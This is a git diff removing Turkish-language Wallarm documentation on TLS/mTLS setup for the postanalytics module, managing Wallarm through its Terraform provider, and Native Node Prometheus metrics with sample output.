[`wallarm_wstore_upstream`](configure-parameters-en.md#wallarm_wstore_upstream) yönergesine `ssl=on` seçeneğini ekleyin. - 1. Postanalytics modülü özel bir CA tarafından imzalanmış bir sertifika kullanıyorsa, CA sertifikasını NGINX‑Wallarm sunucusuna yükleyin ve yolunu [`wallarm_wstore_ssl_ca_cert_file`](configure-parameters-en.md#wallarm_wstore_ssl_ca_cert_file) içinde belirtin. - - Bu dosya, postanalytics sunucusunda yapılandırılmış `service.TLS.caCertFile` ile aynı olmalıdır. - - ``` - http { - upstream wallarm_wstore { - server postanalytics.server.com:6388 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; - } - - wallarm_wstore_upstream wallarm_wstore ssl=on; - - # wallarm_wstore_ssl_ca_cert_file /path/to/wstore-ca.crt; - } - ``` -1. NGINX‑Wallarm sunucusunda NGINX’i yeniden başlatın: - - === "Debian" - ```bash - sudo systemctl restart nginx - ``` - === "Ubuntu" - ```bash - sudo service nginx restart - ``` - === "CentOS" - ```bash - sudo systemctl restart nginx - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` - === "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` -1. [Entegrasyonu kontrol edin](#step-9-check-the-nginxwallarm-and-separate-postanalytics-modules-interaction). - -### Karşılıklı TLS (mTLS) - -Hem NGINX‑Wallarm modülünün hem de postanalytics modülünün birbirlerinin sertifikalarını doğruladığı karşılıklı kimlik doğrulamayı etkinleştirmek için: - -1. Yukarıda açıklandığı gibi, postanalytics modülüne [SSL/TLS bağlantısını etkinleştirin](#ssltls-connection-to-the-postanalytics-module). -1. Çalışan NGINX‑Wallarm modülünün ana makinesinin FQDN’i veya IP adresi için bir istemci sertifikası çıkarın. -1. NGINX‑Wallarm sunucusunda, istemci sertifikasını ve özel anahtarı yükleyin ve yollarını [`wallarm_wstore_ssl_cert_file`](configure-parameters-en.md#wallarm_wstore_ssl_cert_file) ve [`wallarm_wstore_ssl_key_file`](configure-parameters-en.md#wallarm_wstore_ssl_key_file) içinde belirtin: - - ``` - http { - upstream wallarm_wstore { - server postanalytics.server.com:6388 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; - } - - wallarm_wstore_upstream wallarm_wstore ssl=on; - - wallarm_wstore_ssl_cert_file /path/to/client.crt; - wallarm_wstore_ssl_key_file /path/to/client.key; - - # wallarm_wstore_ssl_ca_cert_file /path/to/wstore-ca.crt; - } - ``` - - Ardından, NGINX’i yeniden başlatın: - - === "Debian" - ```bash - sudo systemctl restart nginx - ``` - === "Ubuntu" - ```bash - sudo service nginx restart - ``` - === "CentOS" - ```bash - sudo systemctl restart nginx - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` - === "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -1. Postanalytics sunucusunda, `/opt/wallarm/wstore/wstore.yaml` içinde mTLS’i etkinleştirin: - - ```yaml - service: - TLS: - enabled: true - address: 0.0.0.0:6388 - certFile: "/opt/wallarm/wstore/wstore.crt" - keyFile: "/opt/wallarm/wstore/wstore.key" - # caCertFile: "/opt/wallarm/wstore/wstore-ca.crt" - mutualTLS: - enabled: true - # clientCACertFile: "/opt/wallarm/wstore/client-ca.crt" - ``` - - * `mutualTLS.enabled`: mTLS’i etkinleştirir veya devre dışı bırakır. Varsayılan `false`’tur. - * `mutualTLS.clientCACertFile` (isteğe bağlı): NGINX‑Wallarm istemcisi için özel CA sertifikasının yolu. - - - Ardından, Wallarm servislerini yeniden başlatın: - - ``` - sudo systemctl restart wallarm.service - ``` - -## Postanalytics modülü koruması - -!!! warning "Yüklenen postanalytics modülünü koruyun" - Yeni kurulan Wallarm postanalytics modülünü bir güvenlik duvarı ile korumanızı şiddetle öneririz. Aksi takdirde, aşağıdakilerle sonuçlanabilecek yetkisiz erişim riski vardır: - - * İşlenen isteklere ilişkin bilgilerin ifşası - * Keyfi Lua kodu ve işletim sistemi komutlarının çalıştırılabilmesi - - Lütfen, postanalytics modülünü NGINX‑Wallarm modülü ile aynı sunucuda dağıtıyorsanız böyle bir riskin olmadığını unutmayın. Bunun nedeni, postanalytics modülünün `3313` portunu dinlemesidir. - - **Ayrı olarak kurulan postanalytics modülüne uygulanması gereken güvenlik duvarı ayarları şunlardır:** - - * Postanalytics modülünün bu sunucularla etkileşime geçebilmesi için Wallarm API sunucularına giden ve bu sunuculardan gelen HTTPS trafiğine izin verin: - * `us1.api.wallarm.com`, US Wallarm Cloud’daki API sunucusudur - * `api.wallarm.com`, EU Wallarm Cloud’daki API sunucusudur - * TCP ve UDP protokolleri üzerinden `3313` wstore portuna erişimi kısıtlayın; yalnızca Wallarm filtreleme düğümlerinin IP adreslerinden gelen bağlantılara izin verin. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/managing/terraform-provider.md b/docs/latest-tr/admin-en/managing/terraform-provider.md deleted file mode 100644 index fceb49a0a1..0000000000 --- a/docs/latest-tr/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1,138 +0,0 @@ -# Terraform kullanarak Wallarm'ı yönetme - -Altyapılarınızı yönetmek için [Terraform](https://www.terraform.io/) kullanıyorsanız, Wallarm'ı yönetmek için de onu kullanmak sizin için rahat bir seçenek olabilir. Terraform için [Wallarm provider](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) bunu yapmanıza olanak tanır. - -## Gereksinimler - -* [Terraform](https://www.terraform.io/) temellerini bilmek -* Terraform 0.15.5 veya daha yeni ikili dosya -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) üzerinde Wallarm hesabı -* US veya EU [Bulut](../../about-wallarm/overview.md#cloud) ortamında Wallarm Console içinde **Administrator** [rolüne](../../user-guides/settings/users.md#user-roles) sahip hesaba erişim -* US Wallarm Cloud ile çalışırken `https://us1.api.wallarm.com`a veya EU Wallarm Cloud ile çalışırken `https://api.wallarm.com`a erişim. Lütfen erişimin güvenlik duvarı tarafından engellenmediğinden emin olun - -## Sağlayıcının kurulumu - -1. Aşağıdakini Terraform yapılandırmanıza kopyalayıp yapıştırın: - - ``` - terraform { - required_version = ">= 0.15.5" - - required_providers { - wallarm = { - source = "wallarm/wallarm" - version = "1.5.0" - } - } - } - - provider "wallarm" { - # Yapılandırma seçenekleri - } - ``` - -1. `terraform init` komutunu çalıştırın. - -## Sağlayıcıyı Wallarm hesabınıza bağlama - -Wallarm Terraform provider'ını [US](https://us1.my.wallarm.com/signup) veya [EU](https://my.wallarm.com/signup) Cloud içindeki Wallarm hesabınıza bağlamak için, Terraform yapılandırmanızda API erişim kimlik bilgilerini ayarlayın: - -=== "US Cloud" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://us1.api.wallarm.com" - # Yalnızca çoklu kiracılık özelliği kullanıldığında gereklidir: - # client_id = - } - ``` -=== "EU Cloud" - ``` - provider "wallarm" { - api_token = "" - api_host = "https://api.wallarm.com" - # Yalnızca çoklu kiracılık özelliği kullanıldığında gereklidir: - # client_id = - } - ``` - -* ``, Wallarm hesabınızın API'sine erişim sağlar. [Nasıl alınır →](../../user-guides/settings/api-tokens.md) -* ``, kiracının (müşteri) kimliğidir; yalnızca [çoklu kiracılık](../../installation/multi-tenant/overview.md) özelliği kullanıldığında gereklidir. [Burada](../../installation/multi-tenant/configure-accounts.md#via-the-wallarm-api) açıklandığı gibi `uuid` değil `id` değerini alın. - -Ayrıntılar için Wallarm provider belgelerine bakın: [ayrıntılar](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs). - -## Sağlayıcı ile Wallarm'ı yönetme - -Wallarm provider ile, Terraform aracılığıyla şunları yönetebilirsiniz: - -* [Kendi barındırılan düğümler](../../user-guides/nodes/nodes.md) -* [Uygulamalar](../../user-guides/settings/applications.md) -* [Kurallar](../../user-guides/rules/rules.md) -* [Tetikleyiciler](../../user-guides/triggers/triggers.md) -* [denylist](../../user-guides/ip-lists/overview.md), [allowlist](../../user-guides/ip-lists/overview.md) ve [graylist](../../user-guides/ip-lists/overview.md) içindeki IP'ler -* [Kullanıcılar](../../user-guides/settings/users.md) -* [Entegrasyonlar](../../user-guides/settings/integrations/integrations-intro.md) -* Global [filtreleme modu](../../admin-en/configure-wallarm-mode.md) -* [Güvenlik açıkları](../../user-guides/vulnerabilities.md) - -!!! info "Wallarm Terraform provider ve Edge düğümleri" - Şu anda, Edge [inline](../../installation/security-edge/inline/overview.md) ve [connector](../../installation/security-edge/se-connector.md) düğümleri Wallarm Terraform provider üzerinden yönetilememektedir. - -Listelenen işlemlerin nasıl gerçekleştirileceğini Wallarm provider [belgelerinde](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs) görebilirsiniz. - -## Kullanım örneği - -Aşağıda Wallarm için Terraform yapılandırma örneği verilmiştir: - -``` -provider "wallarm" { - api_token = "" - api_host = "https://us1.api.wallarm.com" -} - -resource "wallarm_global_mode" "global_block" { - waf_mode = "default" -} - -resource "wallarm_application" "tf_app" { - name = "Terraform Application 001" - app_id = 42 -} - -resource "wallarm_rule_mode" "tiredful_api_mode" { - mode = "monitoring" - - action { - point = { - instance = 42 - } - } - - action { - type = "regex" - point = { - scheme = "https" - } - } -} -``` - -Yapılandırma dosyasını kaydedin, ardından `terraform apply` komutunu çalıştırın. - -Yapılandırma şunları yapar: - -* US Cloud → şirket hesabına, sağlanan Wallarm API belirteci ile bağlanır. -* `resource "wallarm_global_mode" "global_block"` → global filtreleme modunu `Local settings (default)` olarak ayarlar; bu, filtreleme modunun her düğümde yerel olarak kontrol edildiği anlamına gelir. -* `resource "wallarm_application" "tf_app"` → `Terraform Application 001` adlı, `42` kimliğine sahip uygulamayı oluşturur. -* `resource "wallarm_rule_mode" "tiredful_api_mode"` → HTTPS protokolü üzerinden `42` kimlikli uygulamaya gönderilen tüm istekler için trafik filtreleme modunu `Monitoring` olarak ayarlayan bir kural oluşturur. - -## Wallarm ve Terraform hakkında daha fazla bilgi - -Terraform, bir dizi entegrasyonu (**[providers](https://www.terraform.io/language/providers)**) ve kullanıma hazır yapılandırmaları (**[modules](https://www.terraform.io/language/modules)**) birden çok sağlayıcı tarafından sağlanan herkese açık [kayıt](https://www.terraform.io/registry#navigating-the-registry) üzerinden kullanıcılara sunar. - -Bu kayıt içine Wallarm şunları yayımladı: - -* Terraform aracılığıyla Wallarm'ı yönetmek için [Wallarm provider](https://registry.terraform.io/providers/wallarm/wallarm/latest/docs). Bu yazıda açıklanmıştır. -* Terraform uyumlu bir ortamdan AWS'ye düğüm dağıtmak için [Wallarm modülü](../../installation/cloud-platforms/aws/terraform-module/overview.md). - -Bu ikisi farklı amaçlar için kullanılan, birbirinden bağımsız araçlardır. Birini kullanmak için diğerine ihtiyaç yoktur. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/native-node-metrics.md b/docs/latest-tr/admin-en/native-node-metrics.md deleted file mode 100644 index 4ec338775a..0000000000 --- a/docs/latest-tr/admin-en/native-node-metrics.md +++ /dev/null @@ -1,527 +0,0 @@ -# Native Node Metriklerinin İzlenmesi - -[Native Node](../installation/nginx-native-node-internals.md#native-node), metrikleri [Prometheus](https://prometheus.io/docs/instrumenting/exposition_formats/) formatında sunar; böylece performansını, trafiğini ve tespit edilen saldırıları izleyebilirsiniz. Bu kılavuz, bu metriklere nasıl erişileceğini ve nasıl yorumlanacağını açıklar. - -## Metriklere erişim - -Varsayılan olarak, Node metrikleri aşağıdaki uç noktada sunar: - -```bash -http://:9000/metrics -``` - -Metrik uç noktasına erişmek için: - -* **Docker veya sanal makine** - güvenlik duvarında `9000` portunu açın veya Docker ile `-p 9000:9000` olarak yayınlayın. - - Metrikler için port ve yol, [`metrics.*`](../installation/native-node/all-in-one-conf.md#metricsenabled) parametreleri kullanılarak değiştirilebilir. -* **Kubernetes** - portu yerel olarak yönlendirmek için bir `kubectl port-forward` komutu kullanın, örn.: - - ```bash - kubectl port-forward svc/ 9000:9000 -n - ``` - - Metrikler için port ve yol, [`processing.metrics.*`](../installation/native-node/helm-chart-conf.md#processingmetricsenabled) parametreleri kullanılarak değiştirilebilir. - -## Kullanılabilir metrikler - -Aşağıdaki Prometheus metrik grupları mevcuttur. Her metrik, amacını ayrıntılı olarak açıklayan bir HELP iletisi içerir. - -Metriklerin tam listesi, Native Node sürümüne bağlı olarak değişebilir. Değişiklikler [Native Node değişiklik günlüğüne](../updating-migrating/native-node/node-artifact-versions.md) yansıtılır. - -### `wallarm_gonode_application_*` - -Sürüm, dağıtım türü, mod ve yapılandırma yeniden yükleme istatistikleri dahil olmak üzere Node örneği hakkında genel bilgiler sağlar. - -### `wallarm_gonode_files_*`, `wallarm_gonode_http_inspector_ruleset_*` - -Uygulanan yapılandırma ve kural seti dosyaları hakkında, biçim ve içerik sürümleri ile son güncelleme zaman damgası dahil ayrıntılar içerir. - -### `wallarm_gonode_go_*`, `wallarm_gonode_process_*` - -Kaynak kullanımı (CPU, bellek, ağ) ve çöp toplayıcı istatistikleri dahil standart süreç ve Go çalışma zamanı metrikleri. - -### `wallarm_gonode_http_connector_*` - -Bağlayıcı sunucu bileşeniyle ilgili metrikler; istek işleme, engellenen/atlanan istekler, hata sayaçları ve gecikmeyi kapsar. - -### `wallarm_gonode_http_inspector_*` - -HTTP denetleyicisinden ayrıntılı istatistikler sağlar; işlenen istek ve yanıtlara, tespit edilen ve engellenen saldırılara ve dahili ardışık düzen metriklerine ilişkin. - -### `wallarm_gonode_postanalytics_*` - -postanalytics hizmetine (wstore) veri dışa aktarmayla ilgili metrikleri içerir; dışa aktarılan istekler, hatalar ve postanalytics düğümlerine etkin bağlantılar dahil. - -## Örnek metrik çıktısı - -Aşağıda metrik uç noktasından örnek bir yanıt verilmiştir: - -```{.bash .prom-metrics-output} -# HELP wallarm_gonode_application_config_reload_errors_total Yapılandırma yeniden yükleme sırasında oluşan toplam hata sayısı -# TYPE wallarm_gonode_application_config_reload_errors_total counter -wallarm_gonode_application_config_reload_errors_total 0 -# HELP wallarm_gonode_application_config_reloads_total Toplam yapılandırma yeniden yükleme sayısı -# TYPE wallarm_gonode_application_config_reloads_total counter -wallarm_gonode_application_config_reloads_total 0 -# HELP wallarm_gonode_application_info Uygulama bilgileri. 'version', 'mode' etiketlerine bakın. -# TYPE wallarm_gonode_application_info gauge -wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1-rc4"} 1 -# HELP wallarm_gonode_files_apply_timestamp_seconds Çeşitli dosyaların ne zaman uygulandığının zaman damgası. 'file' etiketine bakın. -# TYPE wallarm_gonode_files_apply_timestamp_seconds gauge -wallarm_gonode_files_apply_timestamp_seconds{file="custom_ruleset"} 1.753986724e+09 -wallarm_gonode_files_apply_timestamp_seconds{file="proton.db"} 1.753986724e+09 -# HELP wallarm_gonode_files_content_version Çeşitli dosyaların içerik sürümü. 'file' etiketine bakın. -# TYPE wallarm_gonode_files_content_version gauge -wallarm_gonode_files_content_version{file="custom_ruleset"} 1938 -wallarm_gonode_files_content_version{file="proton.db"} 215 -# HELP wallarm_gonode_files_format_version Çeşitli dosyaların biçim sürümü. 'file' etiketine bakın. -# TYPE wallarm_gonode_files_format_version gauge -wallarm_gonode_files_format_version{file="custom_ruleset"} 58 -wallarm_gonode_files_format_version{file="proton.db"} 10 -# HELP wallarm_gonode_go_gc_duration_seconds GC döngülerindeki gerçek zamanlı duraklama (stop-the-world) sürelerinin özeti. -# TYPE wallarm_gonode_go_gc_duration_seconds summary -wallarm_gonode_go_gc_duration_seconds{quantile="0"} 5.4205e-05 -wallarm_gonode_go_gc_duration_seconds{quantile="0.25"} 6.0421e-05 -wallarm_gonode_go_gc_duration_seconds{quantile="0.5"} 6.5876e-05 -wallarm_gonode_go_gc_duration_seconds{quantile="0.75"} 0.000109397 -wallarm_gonode_go_gc_duration_seconds{quantile="1"} 0.00016074 -wallarm_gonode_go_gc_duration_seconds_sum 0.000900882 -wallarm_gonode_go_gc_duration_seconds_count 11 -# HELP wallarm_gonode_go_gc_gogc_percent Kullanıcı tarafından yapılandırılan yığın boyutu hedef yüzdesi; aksi halde 100. Bu değer GOGC ortam değişkeni ve runtime/debug.SetGCPercent fonksiyonu tarafından ayarlanır. Kaynak: /gc/gogc:percent. -# TYPE wallarm_gonode_go_gc_gogc_percent gauge -wallarm_gonode_go_gc_gogc_percent 100 -# HELP wallarm_gonode_go_gc_gomemlimit_bytes Kullanıcı tarafından yapılandırılan Go çalışma zamanı bellek sınırı; aksi halde math.MaxInt64. Bu değer GOMEMLIMIT ortam değişkeni ve runtime/debug.SetMemoryLimit fonksiyonu tarafından ayarlanır. Kaynak: /gc/gomemlimit:bytes. -# TYPE wallarm_gonode_go_gc_gomemlimit_bytes gauge -wallarm_gonode_go_gc_gomemlimit_bytes 9.223372036854776e+18 -# HELP wallarm_gonode_go_goroutines Şu anda var olan goroutine sayısı. -# TYPE wallarm_gonode_go_goroutines gauge -wallarm_gonode_go_goroutines 39 -# HELP wallarm_gonode_go_info Go ortamı hakkında bilgi. -# TYPE wallarm_gonode_go_info gauge -wallarm_gonode_go_info{version="go1.24.5"} 1 -# HELP wallarm_gonode_go_memstats_alloc_bytes Yığında ayrılan ve şu anda kullanımda olan bayt sayısı. /memory/classes/heap/objects:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_alloc_bytes gauge -wallarm_gonode_go_memstats_alloc_bytes 9.302008e+06 -# HELP wallarm_gonode_go_memstats_alloc_bytes_total Şu ana kadar yığında ayrılan toplam bayt sayısı, serbest bırakılmış olsa bile. /gc/heap/allocs:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_alloc_bytes_total counter -wallarm_gonode_go_memstats_alloc_bytes_total 5.7922512e+07 -# HELP wallarm_gonode_go_memstats_buck_hash_sys_bytes Profiling bucket hash tablosu tarafından kullanılan bayt sayısı. /memory/classes/profiling/buckets:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_buck_hash_sys_bytes gauge -wallarm_gonode_go_memstats_buck_hash_sys_bytes 91305 -# HELP wallarm_gonode_go_memstats_frees_total Yığın nesnesi serbest bırakmalarının toplam sayısı. /gc/heap/frees:objects + /gc/heap/tiny/allocs:objects değerine eşittir. -# TYPE wallarm_gonode_go_memstats_frees_total counter -wallarm_gonode_go_memstats_frees_total 625423 -# HELP wallarm_gonode_go_memstats_gc_sys_bytes Çöp toplama sistem üst verileri için kullanılan bayt sayısı. /memory/classes/metadata/other:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_gc_sys_bytes gauge -wallarm_gonode_go_memstats_gc_sys_bytes 3.494312e+06 -# HELP wallarm_gonode_go_memstats_heap_alloc_bytes Ayrılan ve şu anda kullanımda olan yığın bayt sayısı; go_memstats_alloc_bytes ile aynıdır. /memory/classes/heap/objects:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_heap_alloc_bytes gauge -wallarm_gonode_go_memstats_heap_alloc_bytes 9.302008e+06 -# HELP wallarm_gonode_go_memstats_heap_idle_bytes Kullanılmayı bekleyen yığın bayt sayısı. /memory/classes/heap/released:bytes + /memory/classes/heap/free:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_heap_idle_bytes gauge -wallarm_gonode_go_memstats_heap_idle_bytes 4.374528e+06 -# HELP wallarm_gonode_go_memstats_heap_inuse_bytes Kullanımda olan yığın bayt sayısı. /memory/classes/heap/objects:bytes + /memory/classes/heap/unused:bytes değerine eşittir -# TYPE wallarm_gonode_go_memstats_heap_inuse_bytes gauge -wallarm_gonode_go_memstats_heap_inuse_bytes 1.1321344e+07 -# HELP wallarm_gonode_go_memstats_heap_objects Şu anda ayrılmış nesne sayısı. /gc/heap/objects:objects değerine eşittir. -# TYPE wallarm_gonode_go_memstats_heap_objects gauge -wallarm_gonode_go_memstats_heap_objects 56658 -# HELP wallarm_gonode_go_memstats_heap_released_bytes İşletim sistemine serbest bırakılan yığın bayt sayısı. /memory/classes/heap/released:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_heap_released_bytes gauge -wallarm_gonode_go_memstats_heap_released_bytes 2.29376e+06 -# HELP wallarm_gonode_go_memstats_heap_sys_bytes Sistemden edinilen yığın bayt sayısı. /memory/classes/heap/objects:bytes + /memory/classes/heap/unused:bytes + /memory/classes/heap/released:bytes + /memory/classes/heap/free:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_heap_sys_bytes gauge -wallarm_gonode_go_memstats_heap_sys_bytes 1.5695872e+07 -# HELP wallarm_gonode_go_memstats_last_gc_time_seconds Son çöp toplamanın 1970'ten bu yana saniye cinsinden zamanı. -# TYPE wallarm_gonode_go_memstats_last_gc_time_seconds gauge -wallarm_gonode_go_memstats_last_gc_time_seconds 1.7539879135438237e+09 -# HELP wallarm_gonode_go_memstats_mallocs_total Hem canlı hem de GC tarafından temizlenmiş yığın nesneleri dahil ayrılan toplam yığın nesnesi sayısı. Anlamsal olarak go_memstats_heap_objects göstergesinin sayaç versiyonudur. /gc/heap/allocs:objects + /gc/heap/tiny/allocs:objects değerine eşittir. -# TYPE wallarm_gonode_go_memstats_mallocs_total counter -wallarm_gonode_go_memstats_mallocs_total 682081 -# HELP wallarm_gonode_go_memstats_mcache_inuse_bytes mcache yapıları tarafından kullanımda olan bayt sayısı. /memory/classes/metadata/mcache/inuse:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_mcache_inuse_bytes gauge -wallarm_gonode_go_memstats_mcache_inuse_bytes 2416 -# HELP wallarm_gonode_go_memstats_mcache_sys_bytes Sistemden edinilen mcache yapıları için kullanılan bayt sayısı. /memory/classes/metadata/mcache/inuse:bytes + /memory/classes/metadata/mcache/free:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_mcache_sys_bytes gauge -wallarm_gonode_go_memstats_mcache_sys_bytes 15704 -# HELP wallarm_gonode_go_memstats_mspan_inuse_bytes mspan yapıları tarafından kullanımda olan bayt sayısı. /memory/classes/metadata/mspan/inuse:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_mspan_inuse_bytes gauge -wallarm_gonode_go_memstats_mspan_inuse_bytes 138400 -# HELP wallarm_gonode_go_memstats_mspan_sys_bytes Sistemden edinilen mspan yapıları için kullanılan bayt sayısı. /memory/classes/metadata/mspan/inuse:bytes + /memory/classes/metadata/mspan/free:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_mspan_sys_bytes gauge -wallarm_gonode_go_memstats_mspan_sys_bytes 163200 -# HELP wallarm_gonode_go_memstats_next_gc_bytes Bir sonraki çöp toplamanın gerçekleşeceği yığın bayt sayısı. /gc/heap/goal:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_next_gc_bytes gauge -wallarm_gonode_go_memstats_next_gc_bytes 1.8470754e+07 -# HELP wallarm_gonode_go_memstats_other_sys_bytes Diğer sistem ayırmaları için kullanılan bayt sayısı. /memory/classes/other:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_other_sys_bytes gauge -wallarm_gonode_go_memstats_other_sys_bytes 540825 -# HELP wallarm_gonode_go_memstats_stack_inuse_bytes CGO olmayan ortamlarda yığın ayırıcı için sistemden edinilen bayt sayısı. /memory/classes/heap/stacks:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_stack_inuse_bytes gauge -wallarm_gonode_go_memstats_stack_inuse_bytes 1.081344e+06 -# HELP wallarm_gonode_go_memstats_stack_sys_bytes Yığın ayırıcı için sistemden edinilen bayt sayısı. /memory/classes/heap/stacks:bytes + /memory/classes/os-stacks:bytes değerine eşittir. -# TYPE wallarm_gonode_go_memstats_stack_sys_bytes gauge -wallarm_gonode_go_memstats_stack_sys_bytes 1.081344e+06 -# HELP wallarm_gonode_go_memstats_sys_bytes Sistemden edinilen bayt sayısı. /memory/classes/total:byte değerine eşittir. -# TYPE wallarm_gonode_go_memstats_sys_bytes gauge -wallarm_gonode_go_memstats_sys_bytes 2.1082562e+07 -# HELP wallarm_gonode_go_sched_gomaxprocs_threads Geçerli runtime.GOMAXPROCS ayarı veya aynı anda kullanıcı düzeyi Go kodu çalıştırabilen işletim sistemi iş parçacığı sayısı. Kaynak: /sched/gomaxprocs:threads. -# TYPE wallarm_gonode_go_sched_gomaxprocs_threads gauge -wallarm_gonode_go_sched_gomaxprocs_threads 2 -# HELP wallarm_gonode_go_threads Oluşturulan OS iş parçacığı sayısı. -# TYPE wallarm_gonode_go_threads gauge -wallarm_gonode_go_threads 11 -# HELP wallarm_gonode_http_connector_server_avg_latency_ms Bu düğümde işlenen istekler için ortalama gecikme -# TYPE wallarm_gonode_http_connector_server_avg_latency_ms gauge -wallarm_gonode_http_connector_server_avg_latency_ms 0.819581 -# HELP wallarm_gonode_http_connector_server_debug_container_len Şu anda çeşitli dahili veri yapılarındaki öğe sayısı. 'type' etiketine bakın -# TYPE wallarm_gonode_http_connector_server_debug_container_len gauge -wallarm_gonode_http_connector_server_debug_container_len{type="map:activeRequests"} 0 -wallarm_gonode_http_connector_server_debug_container_len{type="map:requestWaitMap"} 0 -wallarm_gonode_http_connector_server_debug_container_len{type="map:responseWaitMap"} 0 -# HELP wallarm_gonode_http_connector_server_errors_total Çeşitli hata sayaçları. 'type' etiketine bakın -# TYPE wallarm_gonode_http_connector_server_errors_total counter -wallarm_gonode_http_connector_server_errors_total{type="DroppedOnOverload"} 0 -wallarm_gonode_http_connector_server_errors_total{type="DuplicateReqId"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgDataFormat"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgType"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgpackDataFormat"} 0 -wallarm_gonode_http_connector_server_errors_total{type="MsgpackDecode"} 0 -wallarm_gonode_http_connector_server_errors_total{type="NilBody"} 0 -wallarm_gonode_http_connector_server_errors_total{type="ReqBodyReading"} 0 -wallarm_gonode_http_connector_server_errors_total{type="RespBodyReading"} 0 -# HELP wallarm_gonode_http_connector_server_messages_processed_total Başarıyla işlenen iletilerin toplam miktarı. 'type' etiketine bakın -# TYPE wallarm_gonode_http_connector_server_messages_processed_total counter -wallarm_gonode_http_connector_server_messages_processed_total{type="request"} 3 -wallarm_gonode_http_connector_server_messages_processed_total{type="response"} 0 -# HELP wallarm_gonode_http_connector_server_messages_rejected_total Bağlayıcı sunucu tarafından çeşitli nedenlerle reddedilen iletilerin toplam miktarı. 'reason' etiketine bakın. -# TYPE wallarm_gonode_http_connector_server_messages_rejected_total counter -wallarm_gonode_http_connector_server_messages_rejected_total{reason="connector_info"} 3 -wallarm_gonode_http_connector_server_messages_rejected_total{reason="host"} 0 -wallarm_gonode_http_connector_server_messages_rejected_total{reason="remote_address"} 0 -# HELP wallarm_gonode_http_connector_server_messages_seen_total Bağlayıcı sunucu tarafından görülen iletilerin toplam miktarı. 'type' etiketine bakın. 'total' türü her şeyi içerir: reddedilen, işlenen, iletilen, hatalı vb. -# TYPE wallarm_gonode_http_connector_server_messages_seen_total counter -wallarm_gonode_http_connector_server_messages_seen_total{type="health"} 0 -wallarm_gonode_http_connector_server_messages_seen_total{type="request"} 3 -wallarm_gonode_http_connector_server_messages_seen_total{type="response"} 0 -wallarm_gonode_http_connector_server_messages_seen_total{type="total"} 6 -# HELP wallarm_gonode_http_connector_server_requests_blocked_total Wallarm tarafından engellenen istekler -# TYPE wallarm_gonode_http_connector_server_requests_blocked_total counter -wallarm_gonode_http_connector_server_requests_blocked_total 0 -# HELP wallarm_gonode_http_connector_server_requests_bypassed_total Denetlenmeyen istekler. 'reason' etiketine bakın. -# TYPE wallarm_gonode_http_connector_server_requests_bypassed_total counter -wallarm_gonode_http_connector_server_requests_bypassed_total{reason="input_filters"} 0 -wallarm_gonode_http_connector_server_requests_bypassed_total{reason="mode_off"} 0 -# HELP wallarm_gonode_http_connector_server_responses_bypassed_total Denetlenmeyen yanıtlar -# TYPE wallarm_gonode_http_connector_server_responses_bypassed_total counter -wallarm_gonode_http_connector_server_responses_bypassed_total 0 -# HELP wallarm_gonode_http_connector_server_step_container_is_overloaded Uygulama verileri aldığı hızdan daha hızlı işliyorsa kaplar aşırı yüklenmiş sayılmaz. 'type' etiketine bakın -# TYPE wallarm_gonode_http_connector_server_step_container_is_overloaded gauge -wallarm_gonode_http_connector_server_step_container_is_overloaded{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_connector_server_step_debug_container_len Şu anda çeşitli dahili veri yapılarındaki öğe sayısı. 'type' etiketine bakın -# TYPE wallarm_gonode_http_connector_server_step_debug_container_len gauge -wallarm_gonode_http_connector_server_step_debug_container_len{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_connector_server_step_is_running Bu ardışık düzen adımının şu anda çalışıp çalışmadığını (1) veya durduğunu (0) gösteren işaret. -# TYPE wallarm_gonode_http_connector_server_step_is_running gauge -wallarm_gonode_http_connector_server_step_is_running 1 -# HELP wallarm_gonode_http_connector_server_step_output_messages_total Bu ardışık düzen adımının çıktı iletilerinin toplamı. 'msgtype', 'receiver' ve 'dropped' etiketlerine bakın. -# TYPE wallarm_gonode_http_connector_server_step_output_messages_total counter -wallarm_gonode_http_connector_server_step_output_messages_total{dropped="false",msgtype="MsgHTTP",reciever="0"} 18 -wallarm_gonode_http_connector_server_step_output_messages_total{dropped="true",msgtype="MsgHTTP",reciever="0"} 0 -# HELP wallarm_gonode_http_inspector_acl_results_per_app_total ACL sonuç sayaçları. 'list' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_acl_results_per_app_total counter -wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="black"} 0 -wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="grey"} 0 